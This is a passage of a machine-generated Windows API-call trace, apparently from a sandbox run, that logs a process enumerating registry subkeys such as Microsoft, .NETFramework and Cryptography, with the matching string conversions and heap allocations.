lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.157] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x38b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x38c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.157] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x38b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.158] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x38b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x38c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.158] RegEnumKeyW (in: hKey=0x90, dwIndex=0x5, lpName=0x38b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.158] RegEnumKeyW (in: hKey=0x90, dwIndex=0x6, lpName=0x38b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x38c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0028.158] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.158] RegOpenKeyExW (in: hKey=0x90, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0028.159] RegCloseKey (hKey=0x90) returned 0x0 [0028.159] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x38b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.159] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x38b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x38c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.159] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x38b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.159] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x38b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0028.159] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x38c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.160] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x38b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.160] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x38b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x38c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.160] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x38b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0028.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.160] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.161] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x38b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x38c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.161] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x38b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x38c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.161] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x38b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x38c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.161] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x38b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0028.161] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x38c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.162] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x38b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x38c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.162] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x38b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.162] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x38b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x38c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0028.162] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.163] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x38b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0028.163] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.163] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0028.163] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.163] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x38b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0028.163] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.163] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.163] WideCharToMultiByte (in: CodePage=0x0, 